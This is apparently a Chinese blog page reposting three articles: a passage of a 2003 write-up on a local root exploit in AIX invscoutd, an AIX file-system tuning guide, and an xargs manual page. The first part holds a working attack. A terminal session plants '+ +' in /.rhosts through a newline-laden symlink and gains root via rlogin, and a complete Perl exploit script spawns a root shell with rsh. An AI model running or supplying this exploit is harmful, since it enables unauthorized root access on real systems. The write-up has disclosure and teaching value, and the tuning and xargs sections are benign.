2003/05/03 03:59:27 P16282:invscoutd_2.0.2 Start invscoutd 2.0.2:
  p=808 u=0 v=18 t=30 d=50000 pid=16282
  flog=/tmp/bbbbb
+ +
ddd

嘿嘿,可以的说!!

-bash-2.05b$ ls -l /tmp/bbbbb*
-rw-r--r--   1 root     staff           602 May 03 03:59 /tmp/bbbbb
+ +
ddd

那我们如何写"\n+ +\n"内容到/.rhosts呢?


想想……

再想想……

呵呵,我想到了,你想到了吗?

再给你5分钟,好好想想~~





如果直接执行invscoutd /.rhosts
肯定不行,里面不会有我们期望的
+ +
行。

如果我们执行perl -e 'system invscoutd,"/tmp/bbbbb\n+ +\nddd";'
向log文件写入
+ +
成功,

但写入的文件是"/tmp/bbbbb\n+ +\nddd",而我们现在期望是写到/.rhosts文件,

再想想…………

归纳一下,问题核心是想把A文件名写入B文件中,
Unix下的符号链接好像就是这个桥梁耶~

我们建立一个A -> B的符号连接不就行了!
ln -s B A
然后
invscoutd A
应该就成了。


开始行动:

-bash-2.05b$ ls -l /.rhosts
ls: 0653-341 The file /.rhosts does not exist.

建立A -> B的符号链接:
-bash-2.05b$ perl -e 'symlink "/.rhosts","/tmp/cc\n+ +\ndd";'
这里B是"/.rhosts"
A是"/tmp/cc\n+ +\ndd"

-bash-2.05b$ ls -l /tmp/cc*
lrwxrwxrwx   1 cloud    staff             8 May 03 04:02 /tmp/cc
+ +
dd -> /.rhosts

来,执行之

-bash-2.05b$ perl -e 'system invscoutd,"/tmp/cc\n+ +\ndd";'
Inventory Scout Version 1.3.0.0
Logic Database Version 1.3.0.0
Exit code 2, pid 536968072.
-bash-2.05b$ ps -ef |grep invsc
   cloud 16282     1   0 03:59:27      -  0:00 invscoutd /tmp/bbbbb?+ +?ddd
   cloud 17146 15338   1 04:03:40  pts/0  0:00 grep invsc
-bash-2.05b$ kill -9 16282
-bash-2.05b$ perl -e 'system invscoutd,"/tmp/cc\n+ +\ndd";'
Inventory Scout Version 1.3.0.0
Logic Database Version 1.3.0.0
Start invscoutd 2.0.2:
  p=808 u=0 v=18 t=30 d=50000 pid=17150
  flog=/tmp/cc
+ +
dd

看看文件生成了没有:
-bash-2.05b$ ls -l /.rhosts
-rw-r--r--   1 root     staff           598 May 03 04:03 /.rhosts

ok,来继续看看内容:

-bash-2.05b$ cat /.rhosts
2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0
2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Logic Database Version 1.3.0.0
2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Bind error, port 808: The socket name is already in use..
2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Exit code 2, pid 536968072.
2003/05/03 04:03:48 G14270:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0
2003/05/03 04:03:48 G14270:invscoutd_2.0.2 Logic Database Version 1.3.0.0
2003/05/03 04:03:48 P17150:invscoutd_2.0.2 Start invscoutd 2.0.2:
  p=808 u=0 v=18 t=30 d=50000 pid=17150
  flog=/tmp/cc
+ +
dd


呵呵+ +写进去了!!!

来,用root用户 rlogin localhost登陆系统,这样就能取得root权限了:

-bash-2.05b$ rlogin -l root localhost
usage: rlogin host [ -ex ] [ -l username ] [-f|-F] [-k realm] [ -8 ]

faint ! 一高兴起来就连命令格式都给忘了 :(

再来:

-bash-2.05b$ rlogin localhost -l root
*******************************************************************************
*                                                                             *
*                                                                             *
*  Welcome to AIX Version 5.1!                                                *
*                                                                             *
*                                                                             *
*  Please see the README file in /usr/lpp/bos for information pertinent to    *
*  this release of the AIX Operating System.                                  *
*                                                                             *
*                                                                             *
*******************************************************************************
…………

-bash-2.05b#        <--好爽的特权"#"提示附耶!
-bash-2.05b# id
uid=0(root) gid=0(system) groups=2(bin),3(sys),7(security),8(cron),10(audit),11(lp)


哈哈哈~~搞定啦~~偶麻雀变root啦~~
学了这么多年的Unix知识终于没白学呀~~
热泪盈框ing ……


继续感动ing……



◎!#◎%¥#%,还在陶醉~~! ! !


好啦~好啦~自恋狂!该干活啦~~


简单清理战场~
-bash-2.05b# rm /.rhosts
-bash-2.05b# rm /tmp/bb* /tmp/cc*
-bash-2.05b# ps -ef |grep invsc
   cloud 14306 15338   1 04:05:51  pts/0  0:00 grep invsc
   cloud 17150     1   0 04:03:48      -  0:00 invscoutd /tmp/cc?+ +?dd
-bash-2.05b# kill -9 17150
-bash-2.05b#

























































还看呀?!已经拉下帷幕了,都是后台操作了!

^_^


























================================ 后记 ===============================
这个漏洞在Aix4.x上也存在,去年一个罗马IBM的工程师给我讲高版本的invscoutd
系统 没有这个安全bug了,但最近我重装了一个5.1 update到2004-5月出的ML06后
还是有这个问题,比较奇怪 :-(

最后附上根据以上内容编写的利用程序 x_aix4x-5l_invscoutd.pl

#!/usr/bin/perl
# FileName: x_invscoutd.pl
# Exploit invscoutd of Aix4.x & 5L to get a uid=0 shell.
# Tested  : on Aix4.3.3 & Aix5.1.
#           Some high version of invscoutd is not affected.
# Author  : watercloud@nsfocus.com
#           watercloud@xfocus.org
# Date    : 2003-5-29
# Announce: use as your owner risk!

$LOG="/tmp/.ex/.hello\n+ +\nworld";
$CMD="/usr/sbin/invscoutd";
umask 022;
mkdir "/tmp/.ex",0777;

print "Exploit error on kill process invscoutd !!" ,exit 1
  if &killproc() == 0;

symlink "/.rhosts",$LOG;
system $CMD,"-p7321",$LOG; &killproc();
unlink $LOG;
print "\n============\nRemember to remove /.rhosts !!\n";
print "rsh localhost -l root '/bin/sh -i'\n";
print "waiting . . . . . .\n";
system "rsh","localhost","-l","root","/bin/sh -i";

system $CMD,"-p808","/dev/null" ; &killproc();
rmdir "/tmp/.ex";

sub killproc() {
  $_=`ps -ef |grep invscoutd |grep -v grep |grep -v perl`;
  @proc_lst=split;
  $ret=kill 9,$proc_lst[1] if $proc_lst[1];
  $ret=-1 if ! defined $ret;
  return $ret;
}
#EOF

=============================================================




















Game Over !


祝大家6.1快乐 :)





                                                          watercloud


                                                           2004-6-1


















========================
原文发表在:
nsfocus第48期月刊:http://www.nsfocus.net/index.php?act=magazine&do=view&mid=2201
后贴于xfocus Unix hacking版: https://www.xfocus.net/bbs/index.php?act=ST&f=19&t=37203
两个版本稍有不同。 Copyright © 1998-2003 XFOCUS Team. All Rights Reserved


阅读全文(5098) | 回复(0) | 编辑 | 精华 | 删除
 


[综合]AIX文件系统性能调优
文章收藏,  网上资源

薛 峰 发表于 2005/12/26 12:52:49

文件系统性能调优 看的越多,越解惑 1、顺序读性能调优
VMM 的顺序预读功能能够改进需要顺序访问大文件的程序的性能。
下面的插图展示了典型的预读的情况。
顺序预读的例子. 插图显示了用一行块模拟一分段磁道的文件页号。这些块段按 0,1 到 3,4 到 7,8 到 15 以及 16 到 23 编号。顺序预读的步骤可以在紧接着插图后的文本中找到。 在这个例子中,minpgahead 的值为 2,maxpgahead 的值为 8 (缺省值)。程序顺序处理文件。图中只显示了对预读机制有重要作用的数据引用(按从 A 到 F 的顺序标出)。这些步骤是:
A
第一次文件访问读取文件的第一页(第 0 页)。在这个时候,VMM 并不知道这次访问是随机还是顺序访问。
B
当程序访问下一页(第 1 页)的首字节而不存在对文件其它页的插入访问时,VMM 推断出该程序正在进行顺序访问。于是将页提前量设为 minpgahead (2) 并且调度读取额外的页(第二、三页)。这样步骤 B 总共读取了 3 页。
C
当程序访问预读的第一页(第 2 页)的首字节时,VMM 将页提前量加倍到 4 并且调度读取第 4 到 7 页。
D
当程序访问前次预读的第一页(第 4 页)的首字节时,VMM 将页提前量加倍到 8 并且调度读取第 8 到 15 页。
E
当程序访问前次预读的第一页(第 8 页)的首字节时,VMM 决定将页提前量设为 maxpgahead 并且调度读取第 16 到 23 页。
F
VMM 在程序访问前一组预读页的首字节的情况下继续预读 maxpgahead 页直到文件结尾。
一旦程序偏离了顺序访问模式并且不按次序访问了文件中的一页,顺序预读就会终止。当 VMM 检测到程序恢复顺序访问后,页提前量便会恢复到 minpgahead 页。
可在 ioo 命令中使用 -r 和 -R 选项来更改 minpgahead 和 maxpgahead 的值。如果您打算改变这些值,请记住:
该值必须是集合:0、1、2、4、8、16 等中的一个。使用其它值可能会对性能或功能造成不利影响。
o 由于 VMM 的加倍算法,该值应该是 2 的幂。
o 大于 16 的 maxpgahead 值(预读量大于 64 KB)会超出某些磁盘设备驱动程序的能力。在这种情况下,预读的大小会保持在 64 KB。
o 更大的 maxpgahead 值可用于条带状逻辑卷的顺序性能显得至关重要的系统中。
minpgahead 和 maxpgahead 的值都为 0 能有效消除此机制。这会给性能带来负面影响。但是,在 I/O 随机的一些情况下,这可能也有用处,这时 I/O 的大小会使预读算法生效。
对于非条带状文件系统,当 maxpgahead 值为 8 或 16 时,其顺序 I/O 性能会达到可能的最大值。
预读值从 minpgahead 增加到 maxpgahead 的过程很快,对于大多数文件大小来说增大 minpgahead 值都不会带来任何性能的提高。
可以针对 JFS 和增强型 JFS 分别调优顺序预读功能。JFS 的预读页可以通过改变 minpgahead 和 maxpgahead 的值调优,而增强型 JFS 使用 j2_minPageReadAhead 和 j2_maxPageReadAhead。
2、顺序和随机后写性能调优
后写涉及在达到某个阈值后将内存中修改过的页面异步写到磁盘上,而不是等待 syncd 守护程序将页面清空到磁盘上。这被用于限制内存中的脏页数,减少系统开销和最小化磁盘碎片。后写有两种类型:顺序后写和随机后写。
顺序后写
缺省情况下,一个 JFS 文件划分成 16 KB 大小的分区或 4 页。每一个这样的分区被称为一簇。如果该簇中的 4 页都是脏页,那么一旦修改完下一个分区,系统就会调度该簇中的 4 页并将其写入磁盘。如果不具备这一功能,则直到 syncd 守护程序运行前,该页都会留存于内存,导致可能的 I/O 瓶颈和文件碎片。
VMM 用于充当阈值的簇数是可调优的。缺省值是一簇。使用 ioo -o numclust 命令来增加 numclust 参数可以延迟后写。
对于增强型 JFS,ioo -o j2_nPagesPerWriteBehindCluster 命令用来指定每次调度的页数,而不是簇数。增强型 JFS 簇的缺省页数为 32,意味着增强型 JFS 的缺省大小为 128 KB。
随机后写
可能存在一些应用程序执行大量的随机 I/O,即 I/O 模式不满足后写算法的要求,因而导致所有页面驻留在内存中,直到 syncd 守护程序运行为止。如果应用程序在内存中修改了许多页,就有可能在 syncd 守护程序调用 sync() 时向磁盘写入大量页。
后写功能提供了这样一种机制,即当给定文件在内存中的脏页数超过规定阈值后,则会调度所写的后续页面以写到磁盘上。
通过使用 ioo 命令并带有 JFS maxrandwrt 参数可调整此阈值。缺省值为 0,表示随机后写是禁用的。将该值增加到 128 表示一旦文件驻留于内存的页达到 128 页,随后的任何脏页都将被调度写入磁盘。而这些页将在调用 sync() 后刷新。
对于增强型 JFS,ioo 命令选项 j2_nRandomCluster(-z 标志)和 j2_maxRandomWrite(-J 标志)用来调优随机后写。增强型 JFS 的 j2_maxRandomWrite 选项和 JFS 的 maxrandwrt 选项功能相同。即它限定了每个文件可以留在内存中的脏页数。j2_nRandomCluster 选项指定了可以被视为随机的两次连续写入之间的簇数。 3、异步磁盘 I/O 性能调优
如果应用程序进行同步 I/O 操作,它必须等待 I/O 完成后才能继续执行。相反,异步 I/O 操作在后台运行,不会阻塞用户应用程序。这就改进了性能,因为 I/O 操作和处理中的应用程序可以同时运行。许多应用程序,诸如数据库和文件服务器,利用了重叠处理和重叠 I/O 的能力。
应用程序可以使用 aio_read() 命令、aio_write() 或 lio_listio() 子例程(或它们的副本)来执行异步磁盘 I/O。一旦请求被排队,控制权就从子例程返回应用程序。当磁盘操作被执行时,应用程序可以继续处理。
为了管理异步 I/O,每一个异步 I/O 请求在应用程序地址空间有一个相应的控制块。该控制块包含了请求的控制和状态信息。在 I/O 操作完成后可以被再次使用。
在发出了一个异步 I/O 请求,用户应用程序可以决定何时并以何种方式结束 I/O 操作。这些信息在以下三种方式的任何一种中提供:
应用程序可以轮询 I/O 操作的状态。
当 I/O 操作完成后系统可以异步通知应用程序。
应用程序可以阻塞,直到 I/O 操作完成。
每个 I/O 是由单个 kproc 处理,并且一般来说 kproc 不能处理任何更多的队列中的请求,直到 I/O 已经完成。当异步 I/O 启用时,缺省的配置好的服务器最小数目为 1。这是 minservers 属性。还存在一个可以创建的最大异步 I/O 服务器数,它由 maxservers 属性控制,缺省值为 10(每个 CPU)。服务器的数量限制了可以在系统中同时处理的异步磁盘 I/O 操作的数目。服务器数可用 SMIT 命令(smitty -> 设备 -> 异步 I/O -> 更改/显示异步 I/O 的特征 -> {MINIMUM | MAXIMUM} 服务器数目或 smitty aio)或者使用 chdev 命令来设置。
很少运行应用程序的系统可以使用异步 I/O,缺省值通常可以勉强够用。
如果异步 I/O 请求数目是高的,那么推荐您增加 maxservers 大约至同时 I/O 可能的数目。在大多数情况下,您最好保留 minservers 参数为缺省值,因为如果需要的话,AIO 内核扩展将生成附加的服务器数。
注:
执行在裸逻辑卷上的 AIO 操作并不使用 kproc 服务器进程。有关 maxservers 和 minservers 的设置在这种情况下没有效果。
通过查看 AIO 服务器的 CPU 利用率,如果利用率在它们中间均匀的分配,那就意味着它们都在使用中;在这种情况下,您可能要增加它们的数量。以名称查看 AIO 服务器,运行 pstat -a 命令。运行 ps -k 命令来查看名称为 kproc 的 AIO 服务器。
在异步磁盘 I/O 的性能很重要并且卷请求很高,而你又没有一个适当的同步 I/O 数量的环境下,建议把 maxservers 至少设置为 10(异步存储磁盘的数)。
对系统来说可以通过三个异步存取磁盘获得,如下所示:
# chdev -l aio0 -a maxservers='30'
此外,您可以设置未完成异步 I/O 请求的最大值以及服务器的优先级。如果您的系统拥有大量的异步 I/O 应用程序,那就可以适当地增加请求数以及降低优先级数目。
4、文件同步性能调优
JFS 的非顺序文件 I/O 会一直存储在内存中直到满足一定条件:
空闲列表缩小到 minfree,以致需要进行页替换。
syncd 守护程序按固定调度间隔刷新页。
执行了 sync 命令。
随机后写在达到随机后写阈值后清空脏页面。
如果在以上的任一条件满足前已存储了过多页,则在 syncd 守护程序进行刷新时,会获得一个 i-node 锁并保持到所有的脏页都被写入磁盘。在这段时间里,任何试图访问此文件的线程会由于无法获得 i-node 锁而被阻塞。请记住:syncd 守护程序会顺利的刷新一个文件中的所有脏页,但限于一次一个文件。在一个拥有大量内存并同时有大量页需要修改的系统中,syncd 守护程序刷新页时 I/O 可能达到高峰值。
AIX 有一个称为 sync_release_ilock 的可调选项。ioo 命令加上 -o sync_release_ilock=1 选项允许在清空该文件的脏页面后释放 i-node 锁。这一选项使得在调用 sync() 的过程中访问该文件有更好的响应。
阻塞效果也可通过在 syncd 守护程序中提高同步频率使之最小化。更换用于启用 syncd 守护程序的 /sbin/rc.boot。然后重新引导系统使之生效。对现行系统,杀死 syncd 守护程序进程并按新的值重新启动守护程序。
第三种调优这种行为的方法是使用 ioo 命令开启随机后写功能 文件系统缓冲区调优
以下 ioo 参数可用于调优磁盘 I/O:
numfsbufs 参数
当有大量针对文件系统的同步或大型 I/O 或是存在针对文件系统的大型顺序 I/O 时,这些 I/O 可能会在等待 bufstruct 时成为文件系统级的瓶颈。每个文件系统的 bufstructs 数目(称为 numfsbufs)可使用 ioo 命令增加。该值仅在文件系统加载后才会生效;因此如果更改了这个值,则必须卸载然后再次加载文件系统。numfsbufs 的缺省值目前为每个文件系统 93 个 bufstruct。
j2_nBufferPerPagerDevice 参数
在增强型 JFS 中,bufstruct 数量由参数 j2_nBufferPerPagerDevice 指定。当前增强型 JFS 文件系统的缺省 bufstruct 数是 512。每个增强型 JFS 文件系统的 bufstructs 数(j2_nBufferPerPagerDevice)可以使用 ioo 命令来增加。该值在文件系统被加载后才起作用。
lvm_bufcnt 参数
如果应用程序正在处理很大量的裸 I/O 而不通过文件系统,同文件系统相同类型的瓶颈也可能出现在 LVM 层上。极大量的 I/O 加上极快的 I/O 设备可能会导致 LVM 层上的瓶颈。但是如果真的出现瓶颈,则可以通过 ioo 命令增加 lvm_bufcnt 参数,以提供大量的“uphysio”缓冲区。该值会立刻生效。当前的缺省值是 9 个 “uphysio” 缓冲区。由于当前 LVM 将 I/O 分为每个 128 K,而 lvm_bufcnt 的缺省值为 9,故一次可写入 9*128 K。如果正在进行的 I/O 大于 9*128 K,增加 lvm_bufcnt 的值才会有利。
hd_pbuf_cnt 参数
hd_pbuf_cnt 参数控制可用于 LVM 设备驱动程序的 pbufs 数。pbuf 是用于存放暂挂于 LVM 层的 I/O 请求的固定内存缓冲区。
在 AIX 中,顺序 I/O 的结合使得无论 I/O 包括多少页,每个顺序 I/O 请求只使用单个 pbuf。这种类型的瓶颈一般很难遇到。而对于随机 I/O,除非运行 syncd 守护程序,I/O 一般会被零星地刷新。
确定是否发生 pbuf 瓶颈的最好方法是检查称为 hd_pendqblked 的 LVM 变量。以下的脚本会给出该变量的值:
#!/bin/ksh
# requires root authority to run
# determines number of times LVM had to wait on pbufs since system boot
addr=`echo "knlist hd_pendqblked" | /usr/sbin/crash 2>/dev/null |tail -1| cut -f2 -d:`
value=`echo "od $addr 1 D" | /usr/sbin/crash 2>/dev/null | tail -1| cut -f2 -d:`
echo "Number of waits on LVM pbufs are: $value"
exit 0
ioo -a 命令也会显示 hd_pendqblked 值。
注:
请不要把 hd_pbuf_cnt 值设得太大,因为除了重新引导系统无法减小该值。
pd_npages 参数
pd_npages 参数指定当删除文件时 RAM 的某一块中应该删除的页数。改变此值只对那些需要删除文件的实时应用程序才有用。由于在分派某个进程/线程之前将删除少量的页面,因此通过减小 pd_npages 参数的值,实时应用程序可获得更快的响应时间。缺省值是最大可能文件大小除以页面大小(目前为 4096);如果最大可能文件大小为 2 GB,则 pd_npages 参数的值缺省为 524288。
v_pinshm 参数
当 v_pinshm 参数设置为 1 时,如果执行 shmget() 的应用程序指定 SHM_PIN 作为标志的一部分,就会使共享内存段中的页面由 VMM 固定。缺省值为 0。
应用程序可以选择提供某种可调优性:指定应用程序是否应该使用 SHM_PIN 标志(例如: Oracle 8.1.5 及以上版本中提供的 lock_sga 参数)。请避免固定过多的内存,因为在这种情况下无法进行页替换。由于节约了这些共享内存段的异步 I/O 开销(不需要异步 I/O 内核扩展来固定缓冲区),因此这种固定是很有用的。
fsbufwaitcnt 和 psbufwaitcnt 计数器
只要 bufstruct 变得不可用以及 VMM 将一个线程放入 VMM 等待列表中,fsbufwaitcnt 和 psbufwaitcnt 计数器就会递增。使用 crash 命令或 ioo -a 命令的 fsbufwaitcnt 和 psbufwaitcnt 选项来检查这些计数器的值。下面是输出的示例:
# ioo -a
hd_pendqblked = 305
psbufwaitcnt = 0
fsbufwaitcnt = 337
xpagerbufwaitcnt 计数器
只要增强型 JFS 文件系统上的 bufstruct 不可用,xpagerbufwaitcnt 就会递增。可使用 ioo -a 命令检查 xpagerbufwaitcnt 计数器的值。下面是输出的示例:
# ioo -a
xpagerbufwaitcnt = 815
5、直接 I/O 调优
当您在对文件进行正常的 I/O 处理时,I/O 在应用程序缓冲区和 VMM 之间来回进行。在缓冲区中的内容通过 VMM 把实存作为文件缓冲区的高速缓存的使用而高速缓存于 RAM 中。如果文件高速缓存命中率很高,那么这个高速缓存的类型在提高 I/O 的总体性能上将十分有效。但是高速缓存命中率很低的应用程序或者执行大量 I/O 的应用程序也许不会从正常的高速缓存 I/O 使用中得到很多好处。
直接 I/O 的主要益处在于通过消除从 VMM 文件高速缓存到用户缓存的副本来减少 CPU 对文件读操作和写操作的使用率。如果高速缓存命中率低,那么大多数读取请求不得不转向磁盘。写操作在大多数情况下使用正常高速缓存 I/O 要更快。但是如果文件是以 O_SYNC 或 O_DSYNC打开的,那么写操作将不得不转向磁盘。在这种情况下,直接 I/O 可能使应用程序获益,因为数据的副本被消除了。
另一个益处是直接 I/O 可以允许应用程序避免稀释高速缓存对其他文件的效能。当一个文件被读取或写入时,该文件竞争内存空间,有可能引起其他文件数据被推出内存。如果一个应用程序开发者知道某些文件有较低的高速缓存利用率特征,那么只有那些文件可以用 O_DIRECT 打开。
为了让直接 I/O 有效地工作,I/O 请求适用于正被使用的文件系统的类型。finfo() 和 ffinfo() 子例程可以用来查询偏移量、长度以及固定块大小文件系统、碎片文件系统和大文件文件系统有关对地址校正的需求(直接 I/O 没有支持压缩文件系统)。查询到的信息包含于 diocapbuf 结构中,该结构在 /usr/include/sys/finfo.h 文件中描述。
为了避免一致问题,如果有多个调用用来打开文件并且一个或多个调用没有制定 O_DIRECT 而另一个打开操作指定了 O_DIRECT,那么文件将保留于正常高速缓存 I/O 模式。同样的,如果文件是通过 shmat() 或 mmap() 系统调用来映射到内存中,它们保留在正常高速缓存模式。如果最后一个冲突,非直接存取被消除,那么文件系统将把文件移入直接 I/O 模式(或者使用 close()、munmap() 或者使用 shmdt() 子例程)。从正常模式到直接 I/O 模式可能代价不小,因为所有在内存中修改过的页面将不得不在那点上刷新磁盘。
直接 I/O 读操作的性能
即使使用直接 I/O 可能减少 CPU 的使用,但很有可能产生更长的消逝时间,特别对小型 I/O 请求而言,因为请求不会在内存中高速缓存。
直接 I/O 读取操作会从磁盘引起同步读操作,然而通过正常的高速缓存策略,读取操作可能会从高速缓存那里得到满意的结果。如果数据在内存中遵循正常高速缓存策略,那么这样可能导致性能低下。直接 I/O 也忽略 VMM 预读算法,因为 I/O 并不通过 VMM。预读算法对顺序存取文件非常有用,因为 VMM 可以启动磁盘请求并且能在应用程序请求页面之前使页面早就驻留在内存中。应用程序可以通过一下方法中的一种补偿预读的损失:
执行读取请求(最小 128 K)
使用多个线程执行异步直接 I/O 预读取。
使用异步 I/O 设施诸如 aio_read() 或者 lio_listio()
直接 I/O 写操作的性能
直接 I/O 写操作绕过 VMM 直接写入磁盘,以致于可能产生严重的性能损失;在正常高速缓存的 I/O 中,写操作可以写入内存,稍后通过 sync 或 write behind 操作清空到磁盘上。由于直接 I/O 写操作并不复制到内存,当一个 sync 操作执行后,它不会必须刷新这些页面,这样一来就减少了 syncd 守护程序必须执行的工作量。
直接 I/O 调优摘要
直接 I/O 本质上比常规 I/O 需要更少的 CPU 周期。 I/O 增强性应用程序不会在常规 I/O 所提供的高速缓存中得到益处,但是可以使用直接 I/O 来增强性能。
作为直接 I/O 的适当候选者的程序通常受 CPU 限制并且执行大量的磁盘 I/O。拥有大量顺序 I/O 的技术应用程序是适当的候选者。执行许多小型 I/O 的应用程序一般来说受到较少的性能益处,因为直接 I/O 不能预读或后写。受益于条带区的应用程序同样是不错的候选者。

阅读全文(6025) | 回复(0) | 编辑 | 精华 | 删除
 


[综合][命令] xargs命令
文章收藏,  网上资源

薛 峰 发表于 2005/12/26 11:17:11

  [命令] xargs命令 xargs 命令
用途
构造参数列表并运行命令。
语法
xargs [  -p ] [  -t ] [  -e [ EOFString ] ] [  -E EOFString ] [  -i [
ReplaceString ] ] [  -I ReplaceString ] [  -l [ Number ] ] [  -L Number ] [  -n
Number  [  -x ] ] [  -s Size ] [ Command [ Argument ... ] ]
  注: 不要在小写的标志和参数之间放置空格。
描述
生成的命令行长度是 Command 和每个作为字符串对待的 Argument,包括用于每个字符串的空字节结束符号,大小(以字节计算)的总和。xargs
命令限制命令行的长度。当构造的命令行运行时,组合的 Argument 和环境列表不能超过 ARG_MAX 字节。在这一约束里,如果不指定 -n 或 -s
标志,缺省命令行长度至少是 LINE_MAX 指定的值。 xargs 命令
用途
构造参数列表并运行命令。
语法
xargs [  -p ] [  -t ] [  -e [ EOFString ] ] [  -E EOFString ] [  -i [
ReplaceString ] ] [  -I ReplaceString ] [  -l [ Number ] ] [  -L Number ] [  -n
Number  [  -x ] ] [  -s Size ] [ Command [ Argument ... ] ]
  注: 不要在小写的标志和参数之间放置空格。
描述
生成的命令行长度是 Command 和每个作为字符串对待的 Argument,包括用于每个字符串的空字节结束符号,大小(以字节计算)的总和。xargs
命令限制命令行的长度。当构造的命令行运行时,组合的 Argument 和环境列表不能超过 ARG_MAX 字节。在这一约束里,如果不指定 -n 或 -s
标志,缺省命令行长度至少是 LINE_MAX 指定的值。
标志
      -e[EOFString]废弃的标志。请使用 -E 标志。
      将 EOFString 参数用作逻辑 EOF 字符串。如果不指定 -e 或 -E 标志,则采用下划线(_)为逻辑 EOF 字符串。如果不指定
      EOFString 参数,逻辑 EOF 字符串能力被禁用且下划线被照字面含义使用。xargs 命令读取标准输入直到达到 EOF 或指定的字符串。
      -E EOFString指定逻辑 EOF 字符串以替换缺省的下划线(_)。 xargs 命令读取标准输入直到达到 EOF 或指定的字符串。
      -i[ReplaceString]废弃的标志。请使用 -I(大写 i)标志。
      如果没有指定 ReplaceString 参数,使用字符串 "{}"。
        注:-I(大写 i)和 -i 标志是互相排斥的;最后指定的标志生效。
      -I ReplaceString(大写 i)。插入标准输入的每一行用 Command 参数的自变量,把它插入出现的每个 ReplaceString
      的 Argument 中。ReplaceStrings 不能在超过 5 个自变量中使用。在每个标准输入行开始的空字符被忽略。每个 Argument
      能包含一个或多个 ReplaceStrings,但不能大于 255 字节。-I 标志同样打开 -x 标志。
        注:-I(大写 i)和 -i 标志是互相排斥的;最后指定的标志生效。
      -l[Number](小写的 L)。废弃的标志。请使用 -L 标志。
      如果没有指定 Number 参数,使用缺省值 1。-l 标志同样打开 -x 标志。
        注: -L、-I(小写的 L)和 -n 标志是互相排斥的;最后指定的标志生效。
      -L Number用从标准输入读取的非空参数行的指定的数量运行 Command 命令。如果保留少于指定的 Number,Command
      参数的最后调用可以有少数几个参数行。一行以第一个换行字符结束,除非行的最后一个字符是一个空格或制表符。后续的空格表示延续至下一个非空行。
        注: -L、-I(小写的 L)和 -n 标志是互相排斥的;最后指定的标志生效。
      -n Number运行 Command 参数,且使用尽可能多的标准输入自变量,直到 Number 参数指定的最大值。xargs
      命令使用很少的自变量,如果:
        如果被积累的命令行长度超过了由 -s Size 标志指定的字节。
        最后的迭代有少于 Number(但是非零)的自变量保留。
          注: -L、-I(小写的 L)和 -n 标志是互相排斥的;最后指定的标志生效。
      -p询问是否运行 Command 参数。它显示构造的命令行,后跟一个 ?...(问号和省略号)提示。输入肯定的、特定于语言环境的响应以运行
      Command 参数。任何其它响应都会引起 xargs 命令跳过那个特定的参数调用。每个调用都将询问您。 -p 标志同样打开 -t 标志。
      -s Size设置构造的 Command 行的最大总大小。Size 参数必须是正整数。如果满足以下条件,则使用很少的自变量:
        自变量的总数超出 -n 标志指定的自变量数。
        总行数超出 -L 或 -I(小写 L)标志指定的行数。
        累加至在 Size 参数指定的字节数之前达到 EOF。

      -t启用跟踪方式并在运行之前将构造的 Command 行回送到标准错误。
      -x如果有任何 Command 行大于 -s Size 标志指定的字节数,停止运行 xargs 命令。如果指定 -I(大写 i)或 -l(小写
      L)标志,则打开 -x 标志。如果没有指定 -i、-I(大写 i)、-l(小写 L)、-L 或 -n 标志,则 Command 行的总长度必须在
      -s Size 标志指定的限制内。

出口状态
该命令返回下列出口值:
      0所有 Command 参数的调用都返回出口状态 0。
      1-125不能组装满足指定要求的命令行,一个或多个 Command 参数的调用返回一个非零出口状态,或发生一些其它的错误。
      126Command 已找到但不能被调用。
      127找不到 Command。

如果不能组装满足指定要求的命令行,则不能调用这个命令,命令的调用被一个信号终止,或一个命令调用以出口状态 255 退出。xargs
命令将写一条诊断消息并退出而不处理任何保留的输入。
示例
  要对名称在一个文件中列出的文件使用命令,输入:
xargs lint -a <cfiles如果 cfiles 文件包含下面的文本:
main.c readit.c
gettoken.c
putobj.cxargs 命令就构造并运行下面的命令:
lint -a main.c readit.c gettoken.c putobj.c如果 cfiles 文件包含比列出在单一外壳程序命令行上的文件名更多的文件名(最多 LINE_MAX),xargs 命令会用列出的文件名运行 lint
  命令。然后它使用余下的文件名构造并运行另一个 lint 命令。根据在 cfiles 文件中列出的文件名,命令看起来可能类似于如下所示的内容:
lint -a main.c readit.c gettoken.c . . .
lint -a getisx.c getprp.c getpid.c . . .
lint -a fltadd.c fltmult.c fltdiv.c . . .这一命令序列同用所有的文件名运行 lint 命令一次不完全一样。lint 命令检查文件之间的交叉引用。然而,在这个示例中,它不能在 main.c 和
  fltadd.c 文件之间,或任意两个在分开的命令行上列出的两个文件之间进行检查。
  由于这个原因,仅当所有的文件名都在一行上列出时,才可能运行命令。要将这个指定到 xargs命令,通过输入以下命令使用 -x 标志:

  xargs  -x lint -a <cfiles
  如果在文件 cfiles 中的所有文件名没有在一个命令行上列出,xargs 命令显示一条错误消息。
  要构造包含一定数量文件名的命令,输入:
  xargs  -t  -n 2 diff <<EOF
  starting chap1 concepts chap2 writing
  chap3
  EOF
  这一命令序列构造并运行每个包含两个文件名的 diff 命令(-n 2):
diff starting chap1
diff concepts chap2
diff writing chap3-t 标志使 xargs 命令在运行每个命令之前显示该命令,所以能看到正在发生的事件。<<EOF 和 EOF 模式匹配字符定义一个 here
  document,它把在结尾行之前输入的文本用作对 xargs 命令的标准输入。
  要把文件名插入命令行的中间,输入:
  ls | xargs  -t  -I {} mv {} {}.old
  这一命令序列通过在每个名字结尾添加 .old 来重命名在当前目录里的所有文件。-I 标志告诉 xargs 命令插入有{}(花括号)出现的 ls
  目录列表的每一行。如果当前目录包含文件 chap1、chap2 和 chap3,这会构造下面的命令:
mv chap1 chap1.old
mv chap2 chap2.old
mv chap3 chap3.old要对独立选择的文件运行命令,输入:
  ls | xargs  -p  -n 1 ar r lib.a
  这一命令序列允许选择文件以添加到 lib.a 库。-p 标志告诉 xargs 命令去显示每一个它构造的 ar命令并询问是否想运行它。输入 y
  来运行命令。如果不想运行这个命令按任意其它键。
  会显示一些类似于下面的内容:
ar r lib.a chap1 ?...
ar r lib.a chap2 ?...
ar r lib.a chap3 ?... 要构造包含特定数量自变量的命令并将那些自变量插入一个命令行的中间,输入:
ls | xargs -n6 | xargs -I{} echo {} - some files in the directory如果当前目录包含从 chap1 到 chap10 的文件,构造的输出将会是下列内容:
chap1 chap2 chap3 chap4 chap5 chap6 - some files in the directory
chap7 chap8 chap9 chap10 - some file in the directory文件
